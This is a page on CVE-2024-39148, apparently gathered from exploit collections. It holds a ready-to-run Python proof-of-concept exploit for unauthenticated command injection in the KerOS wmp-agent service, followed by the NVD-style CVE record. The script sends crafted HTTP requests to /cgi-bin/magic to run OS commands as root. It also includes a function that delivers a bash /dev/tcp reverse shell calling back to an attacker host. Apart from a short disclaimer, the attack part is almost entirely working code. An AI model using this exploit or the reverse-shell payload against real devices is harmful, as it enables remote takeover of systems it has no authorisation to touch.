CVE-2024-39148

#!/usr/bin/env python3 """ CVE-2024-39148 PoC - KerOS wmp-agent Magic URL RCE Note: This is for educational and authorized testing purposes only. """ import socket import sys def exploit_wmp_agent(target_ip, target_port=8443): """ Exploit the wmp-agent service on KerOS devices. The service does not properly validate magic URLs, allowing unauthenticated remote command execution as root. """ # Construct the malicious HTTP request with command injection # Using semicolon to chain commands and $(...) for command substitution cmd = "id" payload = f"GET /cgi-bin/magic?url=;{cmd} HTTP/1.1\r\n" payload += f"Host: {target_ip}:{target_port}\r\n" payload += "User-Agent: Mozilla/5.0\r\n" payload += "Accept: */*\r\n" payload += "Connection: close\r\n\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(payload.encode()) response = sock.recv(4096).decode('utf-8', errors='ignore') sock.close() print(f"[+] Request sent to {target_ip}:{target_port}") print(f"[+] Response:\n{response}") return True except Exception as e: print(f"[-] Error: {e}") return False def reverse_shell(target_ip, attacker_ip, attacker_port=4444): """ Attempt to get a reverse shell by executing a reverse shell command. """ # This creates a reverse shell connection back to attacker shell_cmd = f"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" encoded_cmd = shell_cmd.replace(" ", "$") payload = f"GET /cgi-bin/magic?url=|{encoded_cmd} HTTP/1.1\r\n" payload += f"Host: {target_ip}\r\n" payload += "Connection: close\r\n\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, 8443)) sock.send(payload.encode()) print(f"[+] Reverse shell payload sent to {target_ip}") print(f"[+] Connect back to {attacker_ip}:{attacker_port}") sock.close() except Exception as e: print(f"[-] Failed: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.1.100 8443") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8443 print(f"[*] Exploiting CVE-2024-39148 on {target}:{port}") exploit_wmp_agent(target, port)

{"cve": {"id": "CVE-2024-39148", "sourceIdentifier": "[email protected]", "published": "2025-12-01T16:15:49.603", "lastModified": "2025-12-23T13:55:52.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The service wmp-agent of KerOS prior 5.12 does not properly validate so-called ‘magic URLs’ allowing an unauthenticated remote attacker to execute arbitrary OS commands as root when the service is reachable over network. Typically, the service is protected via local firewall."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:kerlink:keros:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0", "versionEndExcluding": "5.12", "matchCriteriaId": "8DD39BA2-AA69-42C7-B5D0-AD8012CD1879"}]}]}], "references": [{"url": "https://keros.docs.kerlink.com/security/security_advisories_kerOS5", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.bdosecurity.de/en-gb/advisories/cve-2024-39148", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}